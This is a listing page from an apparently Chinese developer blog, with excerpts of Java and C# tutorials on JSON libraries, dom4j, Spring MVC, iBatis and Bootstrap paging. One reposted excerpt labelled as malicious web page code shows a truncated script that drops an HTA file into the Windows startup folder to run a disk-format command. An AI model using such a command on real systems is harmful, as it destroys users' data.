发布博客于 6 年前

【第5篇】使用json-lib把json字符串数据转换成Collection

使用json-lib把json字符串数据转换成Collection
原创
754阅读
0评论
0点赞
发布博客于 6 年前

【第4篇】通过Json-lib把Json转成Map数据

通过Json-lib把Json转成Map数据
原创
526阅读
0评论
0点赞
发布博客于 6 年前

【第3篇】通过JSON-Lib把数组转换成Json数据

通过JSON-Lib把数组转换成Json数据
原创
1032阅读
0评论
0点赞
发布博客于 6 年前

【第2篇】通过json-lib把对象转换成json

使用json-lib-2.2.3-jdk15.jar 通过json-lib把对象转换成json的使用
原创
324阅读
0评论
0点赞
发布博客于 6 年前

【第1篇】通过json-lib把字符串转换成json的使用

使用json-lib-2.2.3-jdk15.jar 通过json-lib把字符串转换成json的使用
原创
475阅读
0评论
0点赞
发布博客于 6 年前

JSON简要-来自百科

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。它基于JavaScript(Standard ECMA-262 3rd Edition - December 1999)的一个子集。 JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, JavaScript, Perl, Python等)。这些
原创
771阅读
0评论
0点赞
发布博客于 6 年前

C# 32Bit电脑环境帮助类

C# 32Bit电脑环境帮助类
原创
724阅读
0评论
0点赞
发布博客于 6 年前

C# Cookie的封装类CookieHelper

C# Cookie的封装类CookieHelper
原创
516阅读
0评论
0点赞
发布博客于 6 年前

EncryptHelper加密帮助类

C#加密帮助类EncryptHelper 之前这篇加密帮助类觉得不够严谨,不够强,所以特意修改,也对自己负责一点,如果对你有帮助可以看看,///呵呵!~这个类都经过本人测试过都没问题.
原创
1792阅读
0评论
0点赞
发布博客于 6 年前

C#加密帮助类EncryptHelper

C#加密帮助类EncryptHelper 之前这篇加密帮助类觉得不够严谨,不够强,所以特意修改,也对自己负责一点,如果对你有帮助可以看看,///呵呵!~这个类都经过本人测试过都没问题.
原创
2234阅读
0评论
0点赞
发布博客于 6 年前

C#访问文件路径通用类

C#访问文件路径通用类
原创
1246阅读
0评论
0点赞
发布博客于 6 年前

apache dbutils的CURD(增,修改,查询,删除)例子代码

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1. 介绍 commons-dbutils是Apache组织提供的一个开源 JDBC工具类库,能让我们更简单的使用JDBC。它是一个非常小的类包, 花几分钟的时间就能掌握它的使用。 ++++++++++++++++++++++++++++++++++++++++++
原创
2344阅读
0评论
0点赞
发布博客于 6 年前

dom4j-jdom封装和解析例子

dom4j,jsoup,jdom,w3cdom,xstream使用代码工程 package ivyy.taobao.com.dom4j; import ivyy.taobao.com.entity.Address; import ivyy.taobao.com.entity.Location; import ivyy.taobao.com.entity.Point; import ivyy.taobao.com.entity.Pois; import ivyy.taobao.com.utils.IoUtils; import ivyy.taobao.com.utils.UrlUtils; import ivyy.taobao.com.utils.Dom4jUtils; import java.io.File; import java.net.URL; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.dom4j.DocumentHelper; import org.dom4j.Element; import org.dom4j.io.SAXReader; import org.jsoup.Jsoup; import org.jsoup.select.Elements; /** *@Date:2015-1-6 *@Author:liangjilong *@Email:jilongliang@sina.com *@Version:1.0 *@Description: */ @SuppressWarnings("all") public class Dom4jTest2 { public static void main(String[] args)throws Exception { //String filepath="D:/"+System.currentTimeMillis()+".xml"; String filepath="D:/test/map1.xml"; File f=new File(filepath); if(!f.exists()){ f.createNewFile(); } //List<Pois> list=getReaderXml("URL"); List<Pois> list=getReaderXml("FILE"); org.dom4j.Document doc=createAsXML(list); IoUtils.write(doc.asXML(),filepath); //格式化 Dom4jUtils.formatAsXml(doc); } /**** * 组装成一个xml * @param list * @return * @throws Exception */ private static org.dom4j.Document createAsXML(List<Pois> list) throws Exception{ org.dom4j.Document doc=DocumentHelper.createDocument(); Element root=doc.addElement("GeocoderSearchResponse");//根 root.addElement("status").setText("0");//status for (Iterator iterator = list.iterator(); iterator.hasNext();) { Pois pois = (Pois) iterator.next(); Element result=root.addElement("result");//result List<Location> listLoc=pois.getLocations(); Element location=result.addElement("location");//location for (Iterator iterator2 = listLoc.iterator(); iterator2.hasNext();) { Location locObj = (Location) iterator2.next(); location.addElement("lat").setText(locObj.getLat()+"");//lat location.addElement("lng").setText(locObj.getLng()+"");//lat result.addElement("formatted_address").setText(locObj.getFormattedAddress()+"");//formatted_address result.addElement("business").setText(locObj.getBusiness()+"");//business } List
listAdd=pois.getAddress(); Element comp=result.addElement("addressComponent");//addressComponent for (Iterator iterator3 = listAdd.iterator(); iterator3.hasNext();) { Address address = (Address) iterator3.next(); comp.addElement("streetNumber").setText(address.getStreetNumber()+"");//streetNumber comp.addElement("street").setText(address.getStreet()+"");//street comp.addElement("district").setText(address.getDistrict()+"");//district comp.addElement("city").setText(address.getCity()+"");//city comp.addElement("province").setText(address.getProvince()+"");//province comp.addElement("cityCode").setText(address.getCityCode()+"");//cityCode } Element poi=result.addElement("pois").addElement("poi"); poi.addElement("addr").setText(pois.getAddr());//addr poi.addElement("distance").setText(pois.getDistance());//distance poi.addElement("name").setText(pois.getName());//name poi.addElement("poiType").setText(pois.getPoiType());//poiType poi.addElement("tel").setText(pois.getTel());//tel poi.addElement("zip").setText(pois.getZip());//zip List<Point> listPoint=pois.getPoints(); Element point=poi.addElement("point"); for (Iterator iterator4 = listPoint.iterator(); iterator4.hasNext();) { Point p = (Point) iterator4.next(); point.addElement("x").setText(p.getX()+""); point.addElement("y").setText(p.getY()+""); } } return doc; } /** * Dom4j(SAX)读取xml数据(解析) * @param params * @throws Exception */ private static List<Pois> getReaderXml(String flg) throws Exception{ String fromRead=Dom4jTest2.class.getClassLoader().getResource("xml/map1.xml").getPath(); List<Pois> list=new ArrayList<Pois>(); SAXReader saxReader = new SAXReader(); org.dom4j.Document document=null; //从api上面解析 if(flg.equals("URL")){ String url = UrlUtils.getBaiduMapUrl("你的key", "39.983424,116.322987", "xml"); document = saxReader.read(url); //从文件上面的xml解析 }else if(flg.equals("FILE")){ document = saxReader.read(new File(fromRead)); } Element resultEl = (Element)document.getRootElement().element("result"); Element poisEl=resultEl.element("pois");//pois节点 Element locationEl=resultEl.element("location");//location节点 Element addressEl=resultEl.element("addressComponent");//addressComponent节点 /*******从pois节点下面遍历多个poi节点*******/ for (Iterator<Element> poIter = poisEl.elementIterator("poi"); poIter.hasNext();) { Element element = (Element) poIter.next(); String addr = element.elementText("addr"); String distance = element.elementText("distance"); String name = element.elementText("name"); String poiType = element.elementText("poiType"); String tel =(element.elementText("tel")==""?"":element.elementText("tel")); String zip =(element.elementText("zip")==""?"":element.elementText("zip")); Pois poi=new Pois(); poi.setAddr(addr); poi.setDistance(distance); poi.setName(name); poi.setPoiType(poiType); poi.setTel(tel); poi.setZip(zip); List<Location> listLoc=new ArrayList<Location>(); /************Location***************************/ String business=resultEl.elementText("business"); String formatted_address=resultEl.elementText("formatted_address"); String lat = locationEl.elementText("lat"); String lng = locationEl.elementText("lng"); Location location=new Location(); location.setBusiness(business); location.setFormattedAddress(formatted_address); location.setLat(lat); location.setLng(lng); listLoc.add(location); poi.setLocations(listLoc); List
listAddr=new ArrayList
(); /************Address***************************/ Address address=new Address(); String streetNumber=(addressEl.elementText("streetNumber")==""?"":addressEl.elementText("streetNumber")); String street=(addressEl.elementText("street")==""?"":addressEl.elementText("street")); String district=(addressEl.elementText("district")==""?"":addressEl.elementText("district")); String city=(addressEl.elementText("city")==""?"":addressEl.elementText("city")); String province=(addressEl.elementText("province")==""?"":addressEl.elementText("province")); String direction=(addressEl.elementText("direction")==""?"":addressEl.elementText("direction")); String distancez=(addressEl.elementText("distance")==""?"":addressEl.elementText("distance")); address.setStreetNumber(streetNumber); address.setStreet(street); address.setCity(city); address.setDistrict(district); address.setDirection(direction); address.setDistance(distancez); address.setProvince(province); listAddr.add(address); poi.setAddress(listAddr); list.add(poi); } return list; } }
zip
发布资源于 6 年前

json例子源码

fastjson gson jackjson json-lib org.json的使用例子 package ivyy.taobao.com.utils; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonElement; import com.google.gson.JsonParser; /** *@Author:jilongliang *@Email:jilongliang@sina.com *@Date:2015-1-5 *@CopyRight:liangjilong *@Description: */ public class JsonUtils { /** * 格式JSON,使Json美化 * @param content * @return */ public static String formatAsJSON(String content){ Gson gson = new GsonBuilder().setPrettyPrinting().create(); JsonParser jsonPar = new JsonParser(); JsonElement jsonEl = jsonPar.parse(content); String prettyJson = gson.toJson(jsonEl); return prettyJson; } }
zip
发布资源于 6 年前

抓取新浪新闻文章

抓取新浪新闻文章
zip
发布资源于 6 年前

使用Jsoup解析XML抓取新浪新闻文章

使用Jsoup解析XML获取新浪新闻文章
原创
4071阅读
0评论
0点赞
发布博客于 6 年前

使用fastjson解析json抓取新浪新闻文章

使用fastjson解析json获取新浪新闻文章
原创
2055阅读
0评论
0点赞
发布博客于 6 年前

Javascript网页恶意代码

///以下代码仅供学习研究使用,请勿使用害人,造成损失本人概不负责,谢谢合作!//1、格式化硬盘 scr.Reset(); scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta"; scr.Doc="wsh.Run(start /m format a: /q /autotest /u);ale
转载
4300阅读
0评论
1点赞
发布博客于 7 年前

jdbcTemplate

package com.org.dao.impl; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; import java.util.Map; import org.springframework.jdbc.core.BeanPropertyRowMapper; import org.springframework.jdbc.core.PreparedStatementCreator; import org.springframework.jdbc.core.RowCallbackHandler; import org.springframework.jdbc.support.GeneratedKeyHolder; import org.springframework.stereotype.Repository; import com.org.JdbcTempBaseDao; import com.org.dao.IUserDao; import com.org.model.User; @Repository @SuppressWarnings("all") public class UserDaoImpl extends JdbcTempBaseDao implements IUserDao { @Override public List<User> getUserList() { String sql="select * from user "; final List<User> list= new ArrayList<User>(); jdbcTemplate.query(sql, new RowCallbackHandler(){ @Override public void processRow(ResultSet rs) throws SQLException { User u=new User(); u.setId(rs.getInt("id")); u.setUsername(rs.getString("username")); u.setPassword(rs.getString("password")); u.setCreateDate(rs.getString("createDate")); u.setModifyDate(rs.getString("modifyDate")); u.setType(rs.getString("type")); list.add(u); } }); return list; } @Override public List<User> getUserLists(Map<String, Object> map) { return null; } @Override public Integer getUserCount(Map<String, Object> map) { String sql = "select count(1) from User where id=? "; return getJdbcTemplate().queryForObject(sql, Integer.class,map); } @Override public User getUserById(Integer primaryKeyId) { String sql = "select id,username, password, createDate, modifyDate,type from User where id=?"; List<User> userList = getJdbcTemplate().query(sql, new BeanPropertyRowMapper(User.class), primaryKeyId); if(userList.size() == 0) { return null; } return userList.get(0); } @Override public void delUserById(Integer primaryKeyId) { String sql = "delete from user where id=?"; getJdbcTemplate().update(sql, primaryKeyId); } @Override public User addUser(final User entity) { final String sql = "insert into User(username, password, createDate, modifyDate,type) values(?,?,?,?,?)"; GeneratedKeyHolder keyHolder = new GeneratedKeyHolder(); getJdbcTemplate().update(new PreparedStatementCreator() { @Override public PreparedStatement createPreparedStatement(Connection connection) throws SQLException { PreparedStatement psst = connection.prepareStatement(sql, new String[]{"id"}); psst.setString(1, entity.getUsername()); psst.setString(2, entity.getPassword()); psst.setString(3, entity.getCreateDate()); psst.setString(4, entity.getModifyDate()); psst.setString(5, entity.getType()); return psst; } }, keyHolder); entity.setId(keyHolder.getKey().intValue()); return entity; } @Override public void editUser(User entity) { String sql="update user set username=?,password=?"; jdbcTemplate.update(sql, User.class,entity); } }
zip
发布资源于 7 年前

Bootstrap分页

package com.org.controller; import java.io.PrintWriter; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.Resource; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.json.JSONException; import org.json.JSONObject; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; import com.org.BaseController; import com.org.model.User; import com.org.service.IUserService; /** * @Author:liangjilong * @Date:2014-2-25 * @Version:1.0 * @Description: */ @Controller public class UserController extends BaseController { @Resource private IUserService userService; /*** * 方法一请求使用String * * 请求@RequestMapping匹配的URL request * * @param response * @return * @throws Exception */ @RequestMapping(value = "/userList1.do") public String userList1(HttpServletRequest request, HttpServletResponse response) throws Exception { request.setCharacterEncoding("utf-8"); response.setCharacterEncoding("utf-8"); List<User> lists = userService.getUserList(); if (lists != null) { request.setAttribute("userList", lists); } // userList指跳转到userList.jsp页面 return "userList"; } /** * 方法二请求使用ModelAndView * * @param request * @param response * @return * @throws Exception */ @RequestMapping(value = "/userList2.do") public ModelAndView userList2(HttpServletRequest request, HttpServletResponse response) throws Exception { request.setCharacterEncoding("utf-8"); response.setCharacterEncoding("utf-8"); List<User> lists = userService.getUserList(); if (lists != null) { request.setAttribute("userList", lists); } // userList指跳转到userList.jsp页面 return new ModelAndView("userList"); } /*** * 自定义标签实现分页 * * @param request * @param response * @param @ResponseBody ajax响应 * @param method={RequestMethod.POST,RequestMethod.GET}表单请求 * @param consumes="application/json; charset=UTF-8"请求格式是json * @return * @throws UnsupportedEncodingException * @throws Exception */ @RequestMapping(value = "/pageList.do" ,method={RequestMethod.POST,RequestMethod.GET}) public @ResponseBody ModelAndView getUserInfo(Model model, @RequestParam(required = false) String username, @RequestParam(required = false) Integer pageNum, @RequestParam(required = false) Integer pageSize) { try { String userName = new String(username.getBytes("ISO-8859-1"),"UTF-8");//处理乱码 Map<String, Object> map = new HashMap<String, Object>(); username=(username==null)?"":username; map.put("username", username);//username必须要和ibatis配置的property=username一致 Integer totalCount = this.userService.getUserCount(map); this.initPage(map, pageNum, pageSize, totalCount); List list = this.userService.getUserLists(map); this.initResult(model, list, map); return new ModelAndView("pagerList"); } catch (Exception e) { e.printStackTrace(); } return null; } /** * 添加用户 * @param type * @param model * @return */ @RequestMapping("/addUser.do") public ModelAndView addUser(@RequestParam String username, Model model) { User user = new User(); user.setUsername(username); this.userService.addUser(user); return this.getUserInfo(model, null, null, null); } /*** * 删除用户 * @param id * @param pageNum * @param pageSize * @param model * @return */ @RequestMapping(value="/delUser.do",method={RequestMethod.POST,RequestMethod.GET},consumes="application/json; charset=UTF-8") @ResponseBody public ModelAndView delUser(@RequestParam(required = true) Integer id, @RequestParam(required = false) Integer pageNum, @RequestParam(required = false) Integer pageSize, Model model, HttpServletRequest request,HttpServletResponse response) { PrintWriter out=null; JSONObject result=new JSONObject(); try { out=response.getWriter(); this.userService.delUserById(id); result.put("flag", true); out.write(result.toString()); } catch (Exception e) { try { result.put("flag", false); out.write(result.toString()); } catch (JSONException e1) { e1.printStackTrace(); } } return null; //return this.getUserInfo(model, null, pageNum, pageSize); } /*** * 编辑用户 * @param id * @param model * @return */ @RequestMapping("/getUserById.do") public ModelAndView getUserById(@RequestParam(required = true) Integer id, Model model) { User u = this.userService.getUserById(id); model.addAttribute("user", u); return new ModelAndView("editUser"); } /*** * 编辑用户 * @param id * @param model * @return */ @RequestMapping("/editUser.do") public ModelAndView editUser(@RequestParam(required = true) Integer id, @RequestParam String username, @RequestParam(required = false) Integer pageNum, @RequestParam(required = false) Integer pageSize, Model model) { User u = new User(); u.setUsername(username); this.userService.editUser(u); return this.getUserInfo(model, null, pageNum, pageNum); } }
zip
发布资源于 7 年前

jQuerySlide切换

package com.org; import java.io.IOException; import java.io.PrintWriter; import java.util.List; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import net.sf.json.JSONArray; import com.org.model.Advert; /*** *@Author:liangjilong *@Date:2014-5-15 *@Version:1.0 *@descript: *显示网站首页的广告图片Slide滚动切换 */ public class SlideServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); response.setContentType("text/html"); response.setCharacterEncoding("utf-8"); PrintWriter out = response.getWriter(); AdvertDao adverDao=new AdvertDao(); List<Advert> list=adverDao.getAdverts(); out.write(JSONArray.fromObject(list).toString());//把数据转换成json数组 out.flush(); out.close(); } }
zip
发布资源于 7 年前

SpringMVC-BootStrap3

BootStrap3+SpringMVC分页
zip
发布资源于 7 年前

SpringMVC+Hibernate全注解整合

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:oscache="http://www.springmodules.org/schema/oscache" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.1.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.1.xsd http://www.springmodules.org/schema/oscache http://www.springmodules.org/schema/cache/springmodules-oscache.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.1.xsd"> <mvc:annotation-driven/> <context:annotation-config/> <context:component-scan base-package="com.org.*" /> <bean id="jspViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="viewClass" value="org.springframework.web.servlet.view.JstlView" /> <property name="prefix" value="/jsp/" /> <property name="suffix" value=".jsp" /> </bean> <bean class="org.springframework.beans.factory.config.PreferencesPlaceholderConfigurer"> <property name="locations"> <value>classpath:properties/jdbc.properties</value> </property> </bean> <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="${jdbc.driver}" /> <property name="url" value="${jdbc.url}" /> <property name="username" value="${jdbc.username}" /> <property name="password" value="${jdbc.password}" /> <property name="initialSize" value="1"/> <property name="maxActive" value="500"/> <property name="maxIdle" value="2"/> <property name="minIdle" value="1"/> </bean> <bean id="sessionFactory" class="org.springframework.orm.hibernate3.annotation.AnnotationSessionFactoryBean"> <property name="dataSource" ref="dataSource" /> <property name="packagesToScan"> <list> <value>com.org.entity</value> </list> </property> <property name="hibernateProperties"> <props> <prop key="hibernate.dialect">${hibernate.dialect}</prop> <prop key="hibernate.show_sql">true</prop> </props> </property> </bean> <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate"> <property name="sessionFactory" ref="sessionFactory" /> </bean> <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager"> <property name="sessionFactory" ref="sessionFactory" /> </bean> <aop:config> <aop:pointcut expression="execution(public * com.org.service.*.*(..))" id="bussinessService" /> <aop:advisor advice-ref="txAdvice" pointcut-ref="bussinessService" /> </aop:config> <tx:advice id="txAdvice" transaction-manager="transactionManager"> <tx:attributes> <tx:method name="get*" read-only="true" /> <tx:method name="add*" propagation="REQUIRED" /> <tx:method name="update*" propagation="REQUIRED" /> <tx:method name="delete*" propagation="REQUIRED" /> <tx:method name="*" propagation="REQUIRED" /> </tx:attributes> </tx:advice> <mvc:resources mapping="/js/**" location="/js/" cache-period="31556926"/> <mvc:resources mapping="/resource/**" location="/resource/" /> <mvc:resources mapping="/jsp/**" location="/jsp/" /> </beans>
zip
发布资源于 7 年前

bootstrap模板

bootstrap框架后台管理模板. Bootstrap是Twitter推出的一个用于前端开发的开源工具包。它由Twitter的设计师Mark Otto和Jacob Thornton合作开发,是一个CSS/HTML框架
zip
发布资源于 7 年前

使用org.json解析较复杂的百度API附近的银行等地方

package com.org.json;import java.net.URLEncoder;import org.json.JSONArray;import org.json.JSONObject;import com.org.utils.ServerUtils;/** * @Author:liangjilong * @Date:2014-4-28 * @Version
原创
877阅读
0评论
0点赞
发布博客于 7 年前

MD5加密

import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;/** * MD5加密工具类 * */public final class MD5Util { /** * MD5加密方法 */ public static String Md5Encrypt(String s
原创
525阅读
0评论
0点赞
发布博客于 7 年前

微信开发一年,累觉不爱

我没想到,其实,我又有想到的,公司招我入来负责微信开发,到最后,虽说不上功成身退,但我也没有留下一个烂摊子、一个残局,可能程序员做到这种地步,也算是一种悲哀了。       深有感触,深有体会,深受其害,技术只是一个小小的方面,不足道也;为人做事,或者才是公司用人的根本,我或者就输在这里了。       闲话少说,悲伤抛诸脑后,直入主题,如下。       微信公众平台
转载
1061阅读
0评论
0点赞
发布博客于 7 年前

ibatis动态查询条件

ibatis的调试相对困难,出错的时候主要依据是log4生成的log文件和出错提示,这方面要能比较熟练的看懂.下面这个配置基本上包含了最复杂的功能:分页\搜索\排序\缓存\传值Hash表\返回hash表\动态sql如果对下面这段配置能信手粘来的话,那开发速度将会大大的提升.
转载
1066阅读
0评论
0点赞
发布博客于 7 年前

CSS3 圆角属性 border-radius和-webkit-border-radius使用

CSS3 圆角属性 border-radius 在 CSS3 中新增了一个 border-radius 边框半径属性,即大家常用的圆角效果。这使得制作圆角将不再麻烦,只需对所用对象加一个 border-radius 属性即可,不必使用图片定位或冗余代码完成了。不过它的使用瓶颈目前也是显而易见的,因为效果显示需支持 CSS3 的现代浏览器,而在一些老版本浏览器上则无法显示,如IE8及以下浏览器就
原创
4344阅读
0评论
0点赞
发布博客于 7 年前

Spring3.0.4MVC整合Extjs或者是EasyUi,或者Kendo说找不到路径报404需要配置mvc:resources/

spring mvc 的标签是在spring3.0.4出现的,主要是用来进行静态资源的访问。在spring3.0.4出来的时候spring还没有更新其schema所以在配置文件中有可能找不到<mvc:resources >标签,这个问题在spring3.0.5中已经解决,而且网上也有很多其他的解决方案,我在这里就不记录了。 首先使用spring mvc需要配置其使用的servlet.在
转载
1313阅读
0评论
0点赞
发布博客于 7 年前

webkit webApp 开发技术要点总结

如果你是一名前端er,又想在移动设备上开发出自己的应用,那怎么实现呢?幸好,webkit内核的浏览器能帮助我们完成这一切。接触 webkit webApp的开发已经有一段时间了,现把一些技巧分享给大家 :1. viewport:也就是可视区域。对于桌面浏览器,我们都很清楚viewport是什么,就是出去了所有工具栏、状态栏、滚动条等等之后用于看网页的区域,这是真正有效的区域。由于移
转载
558阅读
0评论
0点赞
发布博客于 7 年前

【Win7旗舰版系统下载 官方MSDN原版】无第三方软件 纯净32&64位安装教程

近一周以来很多网友不是发帖就是在回复中询问各种关于Win7安装或者安装之后的各种问题的,介于论坛发布的第三方修改版本众多不能一一帮大家解决遇到的问题,故特开此贴。分享微软官方MSDN版的Win7旗舰版系统下载,分32位及64位。此次汇总为原生安装版系统汇总,无任何第三方插件、软件。当然,系统为Windows 7 Ultimate SP1。此贴分享镜像为官方原版,非破解直接激活版。
转载
12514阅读
2评论
0点赞
发布博客于 7 年前

Eclipse上GIT插件EGIT使用手册

EGit是Eclipse上的Git插件,官方内容参看http://wiki.eclipse.org/EGit对版本控制和GIT的介绍可以参看文档《Git简介》 Git简介WindowsXP下搭建GIT服务器RHEL下搭建GIT服务器RHEL中YUM失败解决方法GIT服务器使用基础Eclipse上GIT插件EGIT使用手册之一_安装EGIT插件Ec
转载
463阅读
0评论
0点赞
发布博客于 7 年前

Eclipse上安装GIT插件,使用EGit上传代码到代码库

一、Eclipse上安装GIT插件EGit       Eclipse的版本eclipse-java-helios-SR2-win32.zip(在Eclipse3.3版本找不到对应的 EGit插件,无法安装)         EGit插件地址:http://download.eclipse.org/egit/updates
转载
1220阅读
0评论
0点赞
发布博客于 7 年前

hudson.freemarker_ide_0.9.14

FreeMarker在Eclipse安装 1.将插件hudson.freemarker_ide_0.9.14文件夹放到eclipse下的plugins文件夹下 按理,这样的话,重启eclipse就应该解决了 但是不成 因为hudson.freemarker_ide_0.9.14文 件夹下的freemarker-2.3.6.jar是比较早的版本 ,需要下载新的版本替换它 2.将freemarker-2.3.6.jar删掉,用freemarker-2.3.15.jar替换 3.把MANIFEST.MF里的Bundle-ClassPath也改为freemarker-2.3.15.jar 4.重启eclipse 打开window --> Preferences ,就会找到FreeMarker Editor。 在General --> Editors --> File Associations下,为*.html和*.htm文件添加FreeMarker Editor 作他们关联的编辑器 , *.ftl文件的默认编辑器就是FreeMarker Editor。这样在编辑混合有HTML和FreeMarker标记的文件时, 可以选择右击文件 --> Open with HTML Editor 或者 Open with FreeMarker Editor FreeMarker允许Java servlet保持图形设计同应用程序逻辑的分离,这是通过在模板中密封HTML完成的。 模板用servlet提供的数据动态地生成 HTML。模板语言是强大的直观的,编译器速度快,输出接近静态HTML页面的速度。   FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具,使用纯Java编写   FreeMarker被设计用来生成HTML Web页面,特别是基于MVC模式的应用程序   虽然FreeMarker具有一些编程的能力,但通常由Java程序准备要显示的数据,由FreeMarker生成页面,通过模板显示准备的数据   FreeMarker不是一个Web应用框架,而适合作为Web应用框架一个组件   FreeMarker与容器无关,因为它并不知道HTTP或Servlet;FreeMarker同样可以应用于非Web应用程序环境   FreeMarker更适合作为Model2框架(如Struts)的视图组件,你也可以在模板中使用JSP标记库   FreeMarker是免费的
zip
发布资源于 7 年前

springmvc-ibatis

<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:oscache="http://www.springmodules.org/schema/oscache" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-2.5.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.5.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-2.5.xsd http://www.springmodules.org/schema/oscache http://www.springmodules.org/schema/cache/springmodules-oscache.xsd"> <context:annotation-config/> <context:component-scan base-package="com.org"/> <bean id="jspViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="viewClass" value="org.springframework.web.servlet.view.JstlView" /> <property name="prefix" value="/jsp/" /> <property name="suffix" value=".jsp" /> </bean> <bean class="org.springframework.beans.factory.config.PreferencesPlaceholderConfigurer"> <property name="locations"> <value>classpath:jdbc.properties</value> </property> </bean> <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="${jdbc.driver}" /> <property name="url" value="${jdbc.url}" /> <property name="username" value="${jdbc.username}" /> <property name="password" value="${jdbc.password}" /> <property name="initialSize" value="1"/> <property name="maxActive" value="500"/> <property name="maxIdle" value="2"/> <property name="minIdle" value="1"/> </bean> <bean id="sqlMapClient" class="org.springframework.orm.ibatis.SqlMapClientFactoryBean"> <property name="configLocation"> <value>classpath:ibatis-Base.xml</value> </property> <property name="dataSource"> <ref bean="dataSource"/> </property> </bean> <bean id="sqlMapClientTemplate" class="org.springframework.orm.ibatis.SqlMapClientTemplate"> <property name="sqlMapClient" ref="sqlMapClient"/> </bean> <bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"> <property name="dataSource" ref="dataSource"/> </bean> <aop:config> <aop:pointcut expression="execution(* com.org.service.*.*(..))" id="bussinessService" /> <aop:advisor advice-ref="txAdvice" pointcut-ref="bussinessService"/> </aop:config> <tx:advice id="txAdvice" transaction-manager="transactionManager"> <tx:attributes> <tx:method name="get*" read-only="true"/> <tx:method name="add*" propagation="REQUIRED"/> <tx:method name="update*" propagation="REQUIRED"/> <tx:method name="delete*" propagation="REQUIRED"/> <tx:method name="*" propagation="REQUIRED"/> </tx:attributes> </tx:advice> </beans>
zip
发布资源于 7 年前

spring有三种启动方式,使用ContextLoaderServlet,ContextLoaderListener和ContextLoaderPlugIn.

spring有三种启动方式,使用ContextLoaderServlet,ContextLoaderListener和ContextLoaderPlugIn.spring有三种启动方式,使用ContextLoaderServlet,ContextLoaderListener和ContextLoaderPlugIn.看一下ContextLoaderListener的源码,这是一个ServletC
转载
1458阅读
0评论
0点赞
发布博客于 7 年前

TypeScript

1)解压之后目录是 typescript_plugin 2)把它整个 typescript_plugin文件拷贝到您安装到Eclipse或者是MyEclipse的一个叫dropins文件夹.然后重载Eclipse/MyEclipse 3)重启Eclipse之后会Window-->>Preferences出现菜单 typescript 说明你安装成功啦!恭喜你安装成功 4)打开菜单Window-->>Preferences-->>typescript 出现TypeScript表示成功 5、下载Nodejs 1)http://nodejs.org/download/ 2)在设置Node Path:C:\Program Files\nodejs\node.exe 什么是TypeScript TypeScript是由微软开发的一个能够在Node.js上运行的开源语言和编译器。这个语言是在ECMAScript6基础上演化并吸收了生成Javascript类别和接口的一些特性。Typescript 的编译器使用TypeScript语言编写,并且能够在任何兼容Javascript的程序内运行,同时它也是作为node.js的一个工具包发布的。所以该语言最终生成的仍然是Javascript脚本。
zip
发布资源于 7 年前

【第1篇】TypeScript在Eclipse在线安装和使用教程

TypeScript是一种由微软开发的自由和开源的编程语言。它是JavaScript的一个超集,而且本质上向这个语言添加了可选的静态类型和基于类的面向对象编程。安德斯·海尔斯伯格,C#的首席架构师,已工作于TypeScript的开发。[1][2][3][4]TypeScript扩展了 JavaScript 的句法,所以任何现有的JavaScript程序可以不加改变的在TypeScript下工作。TypeScript是为大型应用之开发而设计,而编译时它产生 JavaScript 以确保兼容性。[5]Typ
原创
13232阅读
0评论
0点赞
发布博客于 7 年前

